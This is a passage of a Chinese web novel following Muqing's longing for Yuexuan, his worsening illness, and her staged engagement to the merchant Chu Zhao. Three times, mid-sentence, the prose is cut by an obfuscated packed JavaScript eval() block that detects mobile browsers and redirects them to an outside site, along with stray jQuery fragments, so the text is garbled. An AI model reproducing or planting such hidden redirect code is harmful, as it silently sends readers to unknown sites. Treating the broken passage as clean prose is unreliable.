止院的书房里,窗外桃花绽放,慕情帮着月悬处理各地衙门送来的公文,长时间伏案使肩颈有些酸疼。
她站起来活动了一下身体,见旁边的月悬仍然全神贯注,没有休息的意思,眼珠一转,转身就往他身上一扑。
月悬表情无奈地接住她,抬手理了理她的鬓发,“累了?要不要去榻上休息一会儿?”
慕情摇头,软趴趴地摊在他怀中:“不困。但是没力气了,需要一点动力。”
“那……”月悬看了看四周,书房里只有茶水,“今日的甘枣酪,六味坊应该已经送来了,让钟武去拿给你。”
“也不想吃东西。”慕情还是摇头,整个人一幅累瘫的样子,嘴角却悄悄扬了起来,然后突然揽住他的脖颈,大胆又脸红地提出要求,“要亲亲!”
月悬一愣,随即也红了耳根,但还是纵容道:“……好。”
他慢慢低下头。
慕情早已熟悉他的套路,立即捂住额头,“这里不给亲。”
月悬笑看着她,“那……脸颊如何?”
慕情转而捂住脸颊,“脸也不给亲。”
“那……便只剩一个地方了……”
他慢慢低头贴近她,鼻尖相互蹭了蹭,轻轻吻住她的唇。
慕情再也压不住嘴角的弧度,红着脸回吻过去。
“呐……礼尚往来,还你一个……再一个……”
窗外桃花旖旎,连空气中都似乎弥漫着桃花香,如陈酒般醉人。
突然,锁骨下方毫无预兆地出现一阵尖锐的刺痛,慕情闷哼一声,猛地睁开眼,看到的却是客栈陌生的房顶和窗外冰冷的月光。
慕情愣了一下,意识到自己又做梦了,巨大的心理落差让她有些难受,头也隐隐作痛。
她坐起来,蜷缩在墙角,看着漆黑空荡的房间,忍不住痛苦捂脸,有些无奈又丧气地想:
我是什么罪大恶极之人吗,要这么折磨我?
除了心理上的煎熬,更让她不安的是,那个所谓的游仙印,似乎终于要开始发挥它的威力。
近日,她偶尔会感觉到突兀的剧烈刺痛。
发作时,锁骨下方仿佛有利剑穿心,痛感深入骨髓,有时只是一瞬,有时却绵长不绝,让她整夜整夜无法安眠。
慕情发了会儿呆,披衣起身,坐在简陋的窗前,抬头望向天边那轮清冷的月亮。
这里已经接近边塞,风景与中原大不相同,客栈院中只有几棵枯树,远处山石亦是光秃秃的一片。
月色如水,无声地流淌。
她下意识地摸向颈间,那里挂着一枚小巧玲珑的留音螺。
这枚留音螺她一直随身带着,但从没有听过,此时终于忍不住解了下来,放在耳边。
螺壳里便流淌出月悬清冷温柔的声音,是为了唤醒她而说的一些安抚之语。
或许是因为当时对她不熟,说的话也没有什么主题,主要是天气、饭食、莫医师给她熬的药等,还为了前一日压碎珊瑚的事情,跟她道了歉。
话题虽然零散,但语气皆是温柔的。
恢复记忆后,她更能清晰地分辨出这声音里的细微差别,与游戏里那个月悬不同,他明显是在有些笨拙地模仿,能听出其中的僵硬和干涩。
慕情听着听着,嘴角不自觉地弯起,仿佛看到了月悬坐在轮椅上,冷着脸学着温柔说话的样子。
可笑着笑着,眼眶又不由自主地湿润起来。
她深吸一口气,收起留音螺,继续抬头看明月高悬,远处街道上传来更声,已是夜半子时。
·
京城眷王府,止院的老石榴树下,亦有人深夜未眠。
月悬独自坐在院中,看着清冷月华在院中倾泻而下,四处寂静无声,更适合思绪翻涌。
自从上次从涔州回京后,他就开始频繁做梦,梦中那个醉后趴在他腿上哭泣的女孩,也终于显出清晰的面容——正是慕情。
除此之外,还有许多断断续续、没头没尾的片段,但拼凑在一起,又出奇的协调一致,展现出一个完整的故事。
他梦到自己唤她“落儿”,看着她从一个粘人的小娃娃,长成亭亭玉立的美丽少女。情不知何起,察觉时却已无法割舍,只是他身有禁锢,也从未想过活得长久,自认并非良人,只将那份少年心动深埋心底。
而梦中的慕情与现实一样,身体孱弱,且时常出现记忆混乱的情况。
某日又一次发病之后,慕情的性格突然变了许多。
她原本也是个阳光开朗的性子,但那之后却变得格外爱玩爱闹,喜欢撒娇粘人,表面看起来天真烂漫,但那双明亮的眼眸深处,却总藏着一抹难以察觉的悲伤和茫然。
她变得更加容易忘事儿,经常昨天做的事情,说过的话,今天又忘了。
莫医师、义母,还有许多医师都给她看过,均找不出缘故。
他不知她怎么了,只能尽可能多地抽出时间陪伴她,照顾她。
然后,在一个落英缤纷的春日,她毫无预兆地、羞涩又忐忑地向他表白了心意,问他能不能在一起。
那一刻,月悬的心跳如擂鼓,巨大的喜悦涌上心头。
可理智随即拽住了他,他迟疑着想要拒绝,但当他看到她笑容之下深藏的脆弱和期盼时,那些话又堵在了喉咙里。
鬼使神差地,他点了头。
两人开始了一段有些奇怪的恋爱。
月悬很快发现,慕情的病并没有好转。
她对情爱之事明显是懵懂的,表白似乎更像是对某种亲密关系的渴望和模仿。
她看向他的目光,有时好像充满爱意,有时却会变得非常奇怪和陌生,仿佛在看着一个完全不相干的人,甚至……某种物品。
这让他心中很是不安,可除了不断寻找医师,翻阅医学典籍之外,他没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858064|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丝毫办法。
他有时觉得自己有趁人之危之嫌,但还是放任了下去,有些侥幸地想,只要她开心就好了,或许对病情改善有好处。
所以即便王府中所有人都知道他们在一起了,他内心深处,仍然不敢真正以她的恋人自居。
他小心翼翼地待她,尽可能地回应她的所有要求,但两人之间的矛盾还是不断加深。
他努力地试图理解她的需求,却似乎总是不得其法,反而将两人都弄得疲惫不堪。慕情开始频繁出现情绪崩溃,病情似乎也越发严重起来。
月悬十分心疼,又无可奈何,无数次怀疑自己的决定到底是否正确。
又一次莫名其妙的激烈争吵后,慕情哭着向他提出了分开。
月悬先是本能地抗拒,片刻后又突然冷静了下来。
他本就无法给她承诺和未来,如果这段关系不仅无法治愈她,还让她感到更加痛苦,那还有什么意义……
于是,他放了手。
那之后,慕情离开了一段时间,月悬不放心地远远跟了上去,看到她被一个年轻男子接上了船。
此人身材高大,长相端正,四肢健全,显然也是习武之人。
他一路上把慕情照顾得很好,站在她身边看起来安全可靠,他可以保护她、帮助她,而她对他显然也十分信任依赖。
月悬跟了很长一段路,看着他们进了鬼市,才独自返回了京中。
他确认自己死心了。
可没过多久,慕情再回来时,又委屈巴巴、满脸泪痕地跟他求复合,哭得眼圈通红,说只喜欢他,不要分开。
月悬看着她红肿的双眼,分不清她是真的对他有爱意,还是像个得不到糖果的孩子在闹脾气……
他内心挣扎不休,最终只能无奈地叹息一声,再次将她拥入怀中。
或许是破镜终难重圆,复合之后,慕情依旧很爱粘在他身边,无论做什么都非要他陪着,却很少再像最初那样活泼地与他说话、分享趣事。
月悬跟莫医师他们讨论过慕情的情况,但依然毫无收获,只能尽可能地顺着她。
只要慕情需要,他愿意一直陪着她,直到她情况好转,遇见了真正的心动,又或是……直到他自己生命的终结。
月悬没有梦到他们的结局,梦中的慕情身上也没有出现过所谓的游仙印。
但他每次梦醒都有着强烈的、不好的感觉,经常感受到窒息般的痛苦与绝望,冷汗浸透了寝衣。
受到梦境的影响,他无比强烈地想要立刻把慕情找回来。
可这丫头学精了,每到一个地方,寄回平安信后便迅速离开,王府派去的人马永远慢她一步。
月悬不确定这些梦境是否是真实发生过的,又或是所谓的前世记忆?但看起来,至少是跟慕情的记忆是高度相似的。
她失忆时依然执着地追逐他,或许她对他……是真的有情。
可为什么清醒后,她却选择了逃离?甚至不惜独自远行?
这……是她重新做出的选择吗?选择……放弃他?
这个认知令他痛苦,可他不得不承认一个残酷的事实:即便确认了慕情的心意,他依然没有信心去争取。
他的残躯,他的宿疾,他那不知何时会终结的生命,都是横亘在两人之间无法逾越的深渊。
阴蚀之症无药可医。
他拿什么去给她许诺未来?又凭什么将她拉回这注定痛苦的漩涡?
月悬抬头看向夜空,又值月圆之际,细细密密如同蚂蚁啃食般的疼痛从下肢骨髓中蔓延开来。
这种疼痛无法用药物缓解、无法用内力压制,它持续存在着,并不断向上蔓延,开始侵蚀膝骨。
或许过不了太久,他就再也无法站立起来了。
月悬搭在轮椅上的手猛地紧握成拳,他身体前倾,忍受着腿上的疼痛,想要站起来。
双腿如同灌了铅般沉重麻木,根本不听使唤。
他身体失去平衡,整个人从轮椅上重重摔落,跌进旁边茂密的草丛里。
衣袍沾上夜露和草屑,发冠微散,墨发垂落。
夜色浓稠而深沉,无人看见他此刻有多么的狼狈不堪。
月悬抬头,朦胧月光下,院中栽下的桃花树已发出新芽。
32. 第 32 章
数日之后。
无心一大早就抱着厚厚一摞案卷来到止院书房。
屋内空空荡荡,月悬并不在。
他习惯性地将案卷放在书桌上,准备出去找人的时候,目光却被桌面角落处几本格外破旧、边缘卷起的书籍吸引了。
他好奇地拿起一本翻开,纸页已经泛黄,字体古朴,一股陈旧的气息扑面而来,是一本晦涩难懂的医术类典籍。
再翻看其他几本,皆是探讨疑难杂症、古老秘术,甚至涉及幽冥阴气的古籍。
无心有些疑惑,这时门外传来轮椅碾过地面的细微声响。
他回头,只见月悬操控着轮椅缓缓驶入书房,晨光勾勒出他略显苍白的侧脸。
“今日这么早,可是有什么要事?”
无心连忙收敛心神,将手中古籍放回原处,向他说明来意。
“是二师兄那边传来急报。西北边境‘风鸣涧’一带,突然冒出一伙流寇,人数众多且扩张极快。匪首疑似修炼某种邪异术法,手段诡谲,已经在边境引起不小的恐慌。二师兄亲自探查后发现对方势力已成气候,有些棘手,便来信请求支援。”
他将二师兄追影的信件和那一摞案宗一起推过去,“这些是这个月各地交上来的卷宗,我来的时候顺手一起带过来了。”
无心汇报完毕,目光再次落回那几本医书上,终究没忍住:“大师兄,你怎么又把这些老古董翻出来了?是为了小师妹那个咒印的事儿?”
说着他自己又反驳了,“不对啊,当初我们不是一起翻过一遍了吗?”
当时他们跟着夏姨和莫医师,可是把王府里的古籍都翻了个底朝天,什么头绪也没有。
月悬翻阅卷宗的手微微一顿,眼帘低垂,没有正面回答:“……随便看看而已。”
无心看看他的神情,又看看他的腿,隐约明白了什么。
月悬的旧疾,源于十四年前的一场意外事故,他的家乡——荆宿的一座小镇上,发生了一起恐怖的“时空坍塌”。
整个小镇在眨眼间坠入幽冥,镇上数千生灵被湮灭,唯有当时还是小小少年的月悬一人奇迹生还,却从此被过于浓重的幽冥阴气侵蚀入骨,落下这跗骨之蛆般的绝症。
此症不仅不断破坏肌肉骨骼,更会持续从外界吸取阴气,加重病情。
对于那场天灾,无心知道得并不是很清楚。
他九岁入门,第一次见大师兄时,他便已经饱受疾病折磨。他依稀记得年少时,大师兄也曾积极地收集、翻看各类医书古籍,眼中总燃着一丝不服的倔强。
但不知从哪一年开始,那些医书逐渐被束之高阁,落满尘埃。
除了每年雷打不动地去瑶光谷,让夏姨施针压制,其余时间,他仿佛彻底遗忘了躯体上的病痛,只将全部心力投注于清明司的公务之中,几乎自虐般地忙碌着。
原本以月悬的身体状况,接触过多的阴邪之气无异于雪上加霜,根本不适合进入清明司。
可当年清明司初建时,正是用人之际,月悬异常坚决地要求参与。
无心他们虽然不说,但心里都明白,他是想在状态尚可时,尽可能多地去做些他认为有意义的事情。
众人心照不宣,却无力改变。
此时此刻,大师兄竟又将那些落满灰尘的古籍翻了出来……这代表着什么?
无心心中默默想着,无论如何,这总归……是个好现象吧?
就在他思绪翻飞之际,月悬已经把他送来的案卷大致翻了一遍。
他修长的手指整理着那些纸张,突然动作一滞,发现了一份夹在公文中的私人信件。
原本微蹙的眉头,在看到信封上有些熟悉的笔迹时,慢慢舒展开,随即又迅速垂下眼帘。
他将信封抽出,递还给无心,“你的信。”
无心回过神,笑嘻嘻地“哎呀”一声,“大师兄,这可是小师妹的信,你不看看吗?”
这封信是昨天深夜抵达的,慕情在信中提到,她在西北一个叫“风鸣涧”的地方探查流寇时,似乎也发现了鬼王教的线索,只是她不太确定,便写信回来求证一下,让他帮忙找找以往的案卷,有没有相关的信息。
慕情独自在外游历已经两月有余,所以并不清楚二师兄追影已经赶往西北,正是要去处理她遇到的这事儿。
无心昨夜看完后,立即提笔回信,千叮万嘱让她切勿轻举妄动,先去与二师兄汇合。
原本他还想要提一句,自己也将要赶往西北支援,但迟疑了一下,最终还是没写。
他得给大师兄留点“发挥空间”不是?
自从小师妹离京,她倒是信守承诺,每到一地必定会寄信回来报平安,有时还会随信捎上一些当地的新奇玩意儿或者特产回来,府中人人有份。
但这些信,无一例外都是规规矩矩地写着“眷王府收”,内容也是面面俱到地把每个人都挨个问候一遍,如同一份格式齐整的公文简报,从未有过单独写给月悬的信件。
反而是无心、海棠等人,偶尔能收到小师妹单独寄来的信件。虽然大多是咨询些江湖趣闻、风土人情或是案件相关,但这也足够他们在大师兄面前诚惶诚恐了。
尤其是无心,作为收到小师妹私信最多的那个,每次回王府都感觉芒刺在背,感觉大师兄看他的眼神格外冰冷。
他知道这多半是自己的心理作用,但为了大师兄的幸福,他还是决定再助攻一把。
于是今早来送案卷时,他便把小师妹的信夹在了显眼的位置。
月悬的声音听不出什么情绪波动:“我没有窥探他人私人信件的习惯。”
平时慕情寄回来的信,封面都是写王府,不会单点谁的名。这封信显然是她私下寄给无心的,他早就知道,以前不会去探听,如今自然更不会逾矩。
无心道:“其实也没有什么,就是小师妹在风鸣涧也撞见了那伙流寇,跟我打听打听过往案件中有没有相关信息。哎,这丫头在外头行侠仗义是好事,好在还知道谨慎,先跟我打听一下情况。”
他顿了顿,话锋一转,带着点促狭,“不过话说回来,清明司所有重大案件的卷宗都得经大师兄你过目,这种打听消息的事儿,她怎么不直接写信问你?”
月悬抬头,眸光如深潭寒水,平静之下藏着无形的冰刃,让无心瞬间感觉后颈一凉,仿佛被朔光剑的锋芒扫过。
“案卷送到,你该去办正事了。”
无心偏不走,“说真的,大师兄,你再这么闷下去,小师妹可真要被人拐跑了!我在信中可看到了,小师妹认识了个新朋友,关系……似乎还不错!”
月悬手指微微收紧,没有说话。
无心也不绕弯子了,直说道:“正好风鸣涧的案子这个案子缺人,大师兄,你要不要亲自去一趟?你要不去,那我可去了啊?”
月悬沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869427|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默了片刻,窗外日光微露,落在书案一角。
他抬头,见无心冲他挤眉弄眼,嘴角扬起一点无奈的笑意,转瞬即逝。
“你还是跟之前的案子吧。”他问道,“上次让你查惊涛门流风堂,可有什么新进展?”
提到正事,无心神色一正。
自从涔州洼子口事件后,清明司顺着慕情提供的线索,确实又拔除了鬼王教几个据点,抓了不少喽啰,缴获不少物资。
但核心始终未能触及,关于慕情提到的神秘“造鬼实验”更是收获寥寥,只从一些陈年旧档中零星拼凑出,鬼王教似乎曾有过此类疯狂构想,但并无成功记录。
目前看来,鬼王教的主要活动仍是利用教义敛财,且许多线索隐隐指向朝堂某些势力,令清明司行事愈发掣肘,进展缓慢。
无心详细汇报了流风堂堂主张见英的调查情况。此人表面功夫做得极好,生活规律,交际圈看似正常。
但经长时间暗中监控,终于筛出几个行踪诡秘的可疑人物,其中不乏朝廷官员,只是目前尚无更深层次的突破。
不过,最新发现张见英与苑南“毒蛟”花无期有秘密往来。
花无期是苑南一带有名的恶贼,他所执掌的“无期楼”人数虽然不多,但神出鬼没,行事狠辣,动辄灭门绝户,江湖人无不闻之色变,连官府都对其忌惮三分,多次围剿均无功而返。
花无期虽作恶多端,但江湖上风评居然还不错,他与一般恶徒最大的区别,就是不屑于使用下三滥的手段,如欺凌妇孺、下毒暗算、栽赃陷害等,他的“恶”是摆在明面上的。
月悬听完神色微动,如果这个花无期真的跟鬼王教有关,以其在苑南的势力和行事风格,或许……能成为一个意想不到的突破口。
“继续深挖花无期这条线,盯紧他与张见英的往来。”
无心领命而去。
待书房重归寂静,月悬的目光再次落在那几本摊开的医书上,指尖划过泛黄的纸页,最终停留在窗外那新芽初绽的桃树上。
他沉默片刻,唤来钟武,低声吩咐了几句。
次日,他处理完京中紧要事务,动身前往西北,与追影汇合。
·
西北边陲,莫沙城。
城中最大的布行“锦绣坊”内,一派繁忙景象。
慕情正坐在柜台后,当“临时掌柜”,手上慢悠悠地拨着算盘,核对账目。
真正的掌柜则在一旁点头哈腰,殷勤地端茶递水,打下手。
几日前,慕情在这里策划了一个现代常见的“买布送抽奖”活动,门口堆着奖品和大字报,瞬间点燃了全城百姓的购物热情,将店里积压多年的陈年库存一扫而空。
活动的火爆程度远超预期,以至于锦绣坊不得不挂出“货品不足,活动暂停”的牌子,才不至于被迫歇业。
即便如此,这几日店内生意也比往日红火许多,掌柜对慕情的佩服简直如滔滔江水,态度更是热情得无以复加。
当然,这份热情里,还掺杂着另一层心照不宣的缘故。
一对衣着体面的母女手挽手走进店中,一看到慕情,脸上立刻堆满了热情的笑意:
“哎哟,慕情姑娘,今日怎么只有你一人在此忙活?楚老板没陪着你呀?”
语气熟稔又带着善意的调侃。
慕情作脸红羞涩状,“他出门办事去了,哪儿有空天天陪着我。”
33. 第 33 章
那母女俩相视一笑,打趣道:“倒也是,婚期将近,要忙活的事儿啊,可多着呢!楚老板是该多费心。”
慕情抿唇浅笑,不再接话,上前引着她们看新到的几匹花色鲜亮的绸缎。
莫沙城不大,近日一则“富商为爱毁婚约”的奇闻已传遍全城。
城中第一富商楚昭,年轻有为,性格温文有礼,容貌端方俊美,但年近而立仍未娶妻,成了楚家二老的心病。
半月前,二老终于为他说了一门门当户对的亲事,同城另一富商张家的闺女,双方连日子都选好了。
谁知楚昭外出经商归来,竟带回一位受伤的美丽姑娘,两人一见倾心,非卿不嫁,非卿不娶!
这么闹腾了几日,楚家二老无奈,只得拉下老脸去张家赔罪退婚。
起初,众人只当茶余饭后的谈资,对这突然冒出来、坏了别人姻缘的姑娘颇多非议,猜测楚家内里定是对这来历不明的儿媳不满。
谁知这位慕情姑娘不仅容貌倾城,性情温婉,竟还是个点石成金的经商奇才!短短几日,就把锦绣坊弄得风生水起,引得全城瞩目。
更令人称奇的是,楚昭与她同进同出,情意绵绵,郎才女貌,登对无比。
连原本愁眉不展的楚家二老,近日也是见人就笑呵呵的,显然对这准儿媳满意得紧。
一下午,几乎每个进店的熟客都要打趣慕情几句。
慕情演足了戏,确认“楚老板未婚妻”的人设已深入人心,达到预期效果后,才施施然离开锦绣坊,返回住处。
楚宅就在锦绣坊旁边的深巷里,慕情先是让人把她买来的茶叶送去老爷老夫人房里,然后走进主院。
刚走到院门口,她便顿住了脚步。只见一个轮廓模糊、近乎透明的人形黑影,如同沉默的雕塑般伫立在紧闭的房门外,身上隐约可见残破的铠甲轮廓。
慕情知道,是楚昭回来了。
她推门而入,果然看到年轻男人站在书案前,有条不紊地整理着账册。
“都安排好了吗?”慕情问道。
楚昭抬头,脸上露出温润真诚的笑容:“嗯,嗯,人手都已打点妥当,明日我们就可以启程离开,这次……真是多亏你了。”
慕情豪爽地一挥手:“客气什么?举手之劳而已。”
事情要从半个月前开始说起,慕情逆着风沙一路西行,至一处名为“风鸣涧”的险峻之地,意外撞见一伙流寇作乱,掳掠过往行商旅人。
她路见不平,出手将人救了下来,却从被救之人的口中意外得知了一些关于玉音公主的消息。
这伙流寇不仅劫财,还专门掳掠年轻貌美的女子,据说那流寇头子见过玉音公主,一心要找个如她一般美貌的女子。
慕情心中一动,与获救的商旅人告别后,便在附近的一个小镇暂居下来,从流寇入手展开秘密调查,却意外发现他们竟与鬼王教也有瓜葛!
谨慎起见,她立刻给京城的无心师兄去了封信,请他帮忙查证。
与此同时,这伙流寇竟嚣张地放出话来,威胁镇中一户人家必须交出他们如花似玉的女儿,否则便要强抢,届时生死勿论!
一时间人心惶惶,因为这伙人手段邪异,哪怕报了官也无济于事,他们照样能在官兵的重重围捕下将人带走。
那被点名的一家哭天抢地,年仅十五岁的女儿更是绝望欲自尽。慕情看不下去,暗中接触了他们,提出由她假扮那少女,代替她被“抓走”。
她正好借此机会混入流寇老巢探查虚实,若有危险,也可凭借身手伺机脱身。
计划起初很顺利,她“惊恐万分”地被几个凶神恶煞的流寇抓住,捆了双手,蒙上眼睛,押往老巢。
谁知行至半途,竟遇到另一拨路见不平的侠士。
那是一个颇具规模的商队,领头的是位年轻俊美、气质温润如玉的公子,身边还跟着一个约莫十四五岁、身手却异常凌厉老练的少年。
慕情目光略过那年轻公子时颇有些惊异,往他身后多看了两眼。
他们带着的精壮护卫,三下五除二便将那三两流寇打得落荒而逃。
慕情被救下,哭笑不得,但还是真诚道谢。
商队本打算顺路送她回城,慕情与他们交谈几句,说明了自己的计划和意图,才打消了他们的担忧。
两拨人就此分道扬镳。
计划被打乱,慕情只能继续暗中探查。
回程路上,她在戈壁悬崖边,看到一个人神色恍惚地站在那里,状态十分不对劲。
电光火石间,慕情意识到他要做什么,毫不犹豫地冲了上去。
与此同时,那人影已从崖上跳了下去。
慕情大惊,冲到悬崖边看到他闭着眼睛,被一团黑气裹缠,连忙出手将人拉了上来。
那一股奇怪的黑气散去,慕情才看清此人竟是前两日有过一面之缘的商队头领。
对方看到她也十分意外,随即苦笑摇头:“我救了姑娘一次,姑娘又救我一次,实在是‘有缘’。”
慕情想不通:“你好好的,为何要做这等傻事?”
在交谈中,慕情得知事情的来龙去脉。
此人名叫楚昭,竟是被父母逼婚到想要自戕!
慕情原以为是给他配了不堪的姻缘,细问之下才知对方是门当户对、才貌双全的好姑娘。
“我年已二十有七,父母心急如焚也在情理之中。只是……”楚昭眼神空洞,声音沙哑,“我心中早有挚爱,不愿误了人家姑娘终身。”
慕情不解:“既然心有所属,为何不去追?”
楚昭目光望向悬崖外,远方风沙弥漫的关隘。
“我心仪之人……十年前来此参军。我们约定每月书信往来,可她在第二年……便彻底失了音讯。我追寻至此,苦心经营数年,踏遍边关,却……杳无音信。”
慕情沉默,忍不住看向他身后,从第一次见面时,她就发现了,这人身后一直跟着一个影子,不像是恶鬼,反而是一幅守护姿态。
所以她上次便没有提,如今看来……
她张了张嘴,却不知该如何将这残酷的真相告诉他。
他等的人,可能已经回来了。
她试探着,声音艰涩:“……战场凶险,刀剑无眼……有没有可能……”
楚昭闭了闭眼,“我知道,我借着经商的名义找了很久,前些日子才得知,狗官为了吃空饷,瞒了许多将士的死讯,我寻之人,早在入营第二年就牺牲了。”
慕情呐呐道,“那,距今也有……八年之久了。”
楚昭告诉她,他原是江南人士,是家中独子,却因执意去寻人而跟家里人闹翻,一路跋涉打听,独自来到距此处不远的莫沙城落脚,做些生意,一待就是八年。
父母原本跟他闹得厉害,随着年事渐高,最终选择妥协,千里迢迢举家搬迁来此投奔他。
结果没过多久,又开始张罗着给他娶妻。
他理解父母的苦心,但仍然为此感到痛苦。
慕情试图安慰:“既然有此隐情,与令尊令慈说明便是了。他们总会理解的。”
“他们知道……”楚昭苦笑,“可他们依然决心如此。他们认为过去太久,该放下了,感情婚后总能培养……于是背着我谈妥了亲事,下了聘礼。我外出归来,木已成舟,半月后便是婚期……”
他的声音中满是浓浓的无力和绝望感,孝顺和本心不断撕扯着他,加上得知了恋人早已不在人世的消息,一时悲痛之下,选择了一死解脱
反正他要等的人已经等不到了。
慕情不赞同道:“你是死了一了百了,可想过令尊令慈老年失独,该如何承受?处境虽难,只要多用心交流,总能找到解决之法。”
“他们永远不会真正理解……”楚昭摇头,眼神灰败,“我知我不孝。好在……这些年我收养了一个孤苦伶仃的小童,收为义子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890352|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视如己出。有他在,想必能替我略尽孝道,照顾二老终老……”
慕情苦劝不住,最后两人聊着聊着,突然就生出了个主意,可以先假扮情侣帮助他退婚。
于是才有了后来锦绣坊的“奇女子”与轰动全城的“绝美恋情”。
前几日,无心的回信送到,慕情得知二师兄追影已亲自来处理流寇案,便决定过去汇合,顺便结束莫沙城的“任务”。
如今城中无人不知楚老板与慕情姑娘情深似海,楚家也成功退了婚。
他们约定好,假借楚昭此次外出遇到紧急生意需要处理,婚事暂且延后,反正他们也并未真正定下婚期。
到时慕情跟他一起走,待过两个月,楚昭独自返回,自会向父母解释清楚。
临行前夜,楚昭去父母房中说明情况。
慕情走到门外,恰好听到楚父楚母略带埋怨却又无可奈何的叮嘱声,显然他们并未起疑。
慕情没有立刻进去,目光落在门外那个沉默的铠甲战魂身上。
她默默走近,低声将他们的计划告知。但那战魂依旧如同雕塑,没有任何反应,似乎仅存一丝守护的执念,意识早已消散在漫长的时光里。
慕情心中酸涩,无声叹息。
当夜,想到明日便要分别,慕情特意备了一壶当地特有的烈酒,拉着楚昭在清冷的院中对月小酌。
酒过三巡,慕情望着天边孤月,带着几分醉意问道:“楚昭,你说……两个彼此真心喜欢的人,是不是也有可能……其实并不合适在一起?”
楚昭说:“有,可是情之所起,一往而深,心之所向,身不由己。明知或许不合适,又如何能自控?”
慕情看着天上的月亮,点头表示认同。
楚昭没有喝酒的习惯,只端了杯茶在她旁边,此时转头看向她,问道:“你也有什么故事吗?”
或许是酒精的催化,或许是同病相怜的触动,慕情难得地向一个刚认识不久的朋友敞开了心扉。
她向楚昭讲述了“上一世”她与月悬的故事。
“我以前总以为,是因为我不懂如何爱人,因为他不爱我……因为这样那样的原因。”
慕情的声音带着浓重的鼻音,眼神迷蒙,“可现在越回想越觉得,也许……就是性格不合适而已。”
这个夜晚,两个失意人借着酒劲,互相倾诉了一番。
楚昭也向慕情讲述了他的心上人,两人同样青梅竹马,只是他从小身体不好,用她的话说,是个书呆子。她却从小喜欢舞刀弄枪,也很有天赋,在他们家乡那里,打遍全村无敌手。
后来她爹战死沙场,听说边疆收女将,她不顾一切奔赴边疆,临行前许诺:“等我报了仇,就回来与你相守。”
却从此……天人永隔。
说到动情处,楚昭也红了眼眶,素来不喝酒的他拿起酒壶,直接灌了一大口酒下去。
眨眼间,两人都喝得烂醉如泥。
慕情抱着酒坛子,哭唧唧地说“可……可是……我好想他”
同样醉得脚步踉跄的楚昭笑骂她:“没出息!”
骂完他又叹息,“但是你比我强,至少……你们都还在。人还在……就有希望……”
·
次日清晨,两人双双睡过了头,差点误了出发的时辰。
慕情手忙脚乱地收拾好,拉着楚昭紧赶慢赶,才在楚家父母依依不舍又略带疑惑的目光中,维持着“亲密恋人”的姿态登上了马车。
无心的信中提及追影已抵达距离莫沙城不远的另一座边城,恰好与楚昭商队要走的路线一致。楚昭便顺路将慕情送至清明司衙门所在之处。
他们的马车停在清明司衙门外,楚昭先一步出去,帮她拉开了车帘。
慕情刚探出脑袋,就看到月悬和追影正从院中出来。
几人一照面,几乎同时停了下来。
慕情身体微僵:“月……月悬师兄?”
34. 第 34 章
慕情心里咯噔一下,无心信中也没说大师兄也在啊。
这不是自投罗网吗?
她之前压根没想过会在这里遇到月悬。
流寇虽凶,又有些邪异的手段,对普通人来说十分可怕,对于清明司却不算什么。
对方占着地利,加上人多,麻烦是麻烦了点,但按理说不至于劳动月悬亲自前来才对。
月悬的目光在她脸上停留了一瞬,随即落向她身侧气质温润的楚昭,眸光沉静,却带着无形的审视压力、
“这位是?”
恰在此时,驾车的车夫熟练地摆好马凳,热情地招呼道:“楚老板、楚夫人,先下马吧。东西都给您二位拿下来吗?”
“……”空气仿佛瞬间被冻结,针落可闻。
月悬周身的气息骤然变冷,他缓缓重复:“……楚夫人?”
慕情只觉得头皮发麻,第一次觉得名声传得太广也有坏处。
可旁边不仅有车夫,还有两个楚家的仆从,“假情侣”的秘密只有她、楚昭和他那个义子知道,此刻根本无法解释……
她只能硬着头皮,顶着月悬的目光,含糊地介绍道:“呃……这位是楚昭,我……我朋友。”
她试图轻描淡写地带过。
楚昭何等敏锐,瞬间察觉到气氛的诡异和月悬身上那股无形却迫人的冰冷气场,再看看慕情窘迫慌乱的样子,眼中闪过一丝了然,脱口而出:“他就是……”
“就是我师兄!”慕情吓得魂飞魄散,赶紧转身,一把捂住楚昭的嘴!
她急急忙忙回头对月悬和追影说:“师兄你们是要出门办事吧?快去吧!正事要紧!等……等你们忙完了再说!”
说完,几乎是连拖带拽地把一脸促狭笑意的楚昭拉到马车另一边。
两人头碰头,压低声音叽叽咕咕说了好一阵悄悄话。
追影的目光在那对“咬耳朵”的男女身上停留片刻,又小心翼翼地瞥向自家大师兄。
那张俊美无俦的脸上此刻如同覆了一层万年寒冰,薄唇紧抿,下颌线绷得死紧,周身散发的低气压让周围的空气都仿佛凝固了。
追影清了清嗓子,低声道:“大师兄,要不……我还是自己先去?等你这边……忙完了再说?”
月悬的目光从那二人身上收回:“不用,走吧。”
